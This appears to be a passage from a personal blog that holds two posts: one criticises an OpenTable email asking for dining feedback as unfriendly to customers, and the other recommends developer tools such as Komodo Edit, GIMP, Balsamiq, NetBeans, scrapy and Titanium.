We would appreciate your feedback about your experience at The Tipsy Pig on August 22, 2010. Please take a moment to fill out our Dining Feedback Form:

http://fb.opentable.com/df.aspx?re=….

Thank you, and we look forward to seeing you again at OpenTable.com.

Bon appétit!
Your OpenTable Team

NEED HELP?

http://support.opentable.com

UNSUBSCRIBE:
If you’d rather not receive future Dining Feedback Form emails from OpenTable, please click the link below:

http://fb.opentable.com/df.aspx?re=…

Now, I think opentable finally following up and asking their users to write reviews and give feedback on the restaurants is a great thing (though it took yelp rocketing to tremendous success for them to get their act together – I’ve long thought that opentable should integrate review content to make it even easier to choose a restaurant). More companies should ask me how my experience was with their product, especially when they are simply a platform for the actual service provider. But why are they sending such an unfriendly email to solicit my feedback?

First, witness the very top of their email:
** Please do not reply to this email. It was sent from an unattended mailbox, and replies are not reviewed. See below for contact information. **

When I read this I’m thinking: “Look, we don’t really care about you. We want to market to you, sell you something, maybe even ask for your feedback, but we want to make it easy for us and hard on you”. We haven’t bothered to link up our email system with our customer support system because it’s too hard or too expensive or we’re busy with other things, so we’re just going to tell you that we’re going to ignore you, the customer.

Now let’s look at the content:

Dear Simon,

Thank you for booking your recent reservation through OpenTable.

We would appreciate your feedback about your experience at The Tipsy Pig on August 22, 2010. Please take a moment to fill out our Dining Feedback Form:

http://fb.opentable.com/df.aspx?re=EAV%252bFQ5fXaQ%253d

Thank you, and we look forward to seeing you again at OpenTable.com.

This isn’t bad, but there isn’t much here. Why isn’t opentable telling me what my feedback is going towards?

• Is it going to a public review site like yelp to I can help others?
• Is it for opentable to use internally?
• How long will it take me to write this feedback?

I have no idea from this email, so I pretty much have to click the link to go to their site and find out. Or, more likely, I’ll just click delete and forget about it.

This is 2010: if you want feedback from someone, make it easy! How great would it be if you could just reply – like you can with Posterous – and write your review in your email client? How much more likely would I be to respond and check it out if I knew why I were doing it?

In this post I’m going to talk about some of the other tools I use to develop in. Before I go into the tools I should talk about my development machine, my several year old MacBook Pro 15″. According to “About This Mac”, it’s a 2.16GHz Intel Core 2 Duo with 3GB of RAM, and it’s running snow leopard (10.6 – does any one else find Mac’s naming scheme confusing?). I switched from windows to the Mac primarily because of the external aesthetics, and I have mixed feelings about the machine (more on that some other time, perhaps).

Tools

• Komodo Edit – Komodo Edit is a great freeware editor, derived from the full IDE Komodo IDE (which is not free). It’s not a full-featured IDE (no source control integration, for example), but it does syntax highlighting and supports intellisense (auto-completing method names, signatures, etc.) so it gets the job done – and of course the price is right
• I don’t know how most startups afford a full-featured image editor like Photoshop, so thankfully there is a decent open source competitor – the Gimp. It’s a strong knockoff with a ton of capabilities, and once you get by the interface idiosyncrasies you’ll wonder why you need to spend almost a grand on the real-deal. For those who are baffled by it I highly recommend this bit on getting unstuck.
• For those who have windows I also highly recommend paint.NET – it’s a less full-featured image editor than the Gimp, but it’s also a heck of a lot easier to use. It’s got some great features to do simple but useful things, like extending the length of a specific region of an image.
• For mockups I’ve been using the adobe air app Balsamiq since I discovered it while working on new features for Hark!. It’s not free (I believe it’s $79), but it supports all platforms as an air app (even linux, albeit poorly), and you save a lot of time creating mockups in it over drawing (and it’s cheaper than a license of Visio).
• I recently stumbled on Mockingbird, which looks a lot like a web knockoff of Balsamiq. It’s free while in beta, so it looks like it might be worth a whirl.
• When working with java two editors I used were Netbeans and Eclipse. Both are free, with the former being a Sun-sponsored (I think they bought the company) product, and the latter being a community based one, largely driven by IBM. I found both to be really useful, but Eclipse to be excruciatingly slow in some cases, so I ended up using Netbeans as the go-to.

Useful Frameworks

• For pulling data from the web you used to have to right your own web scraper/spider to gather data from different sites. But now a host of sraping frameworks have sprung up, and I highly recommend scrapy, which is written in python. There is really no reason to have to write your own spider anymore.

Mobile Tools

• Anyone can create a great mockup of a mobile app using MockApp, an open source mockup framework for powerpoint/etc. It basically gives you great widgets to use to make a mockup of your app.
• If you want to take your mockup a little further and actually build something, check out jQTouch – it’s a framework for developing apps that look like native iphone apps, but run in safari. If you want to have something that looks like an iphone app in a hurry this is the way to go.
• I’m going to talk about Titanium more in a later post, but it’s a javascript/html framework that allows you to build native mobile apps. The idea is that you write your app in javascript, and it compiles it to native code for iPhone, Android, and even Blackberry (if you pay for it). It’s awesome in theory and somewhat good in practice. There are other frameworks that do this as well, such as PhoneGap, and it’s in theory it’s a great way to write a native app for the mobile platform if you’re a web guy. In practice I’ve found Titanium to have mixed results, which is probably worthy of a future post on it’s own.

I’m sure all of you have discovered a ton of other great tools – what else should I be using?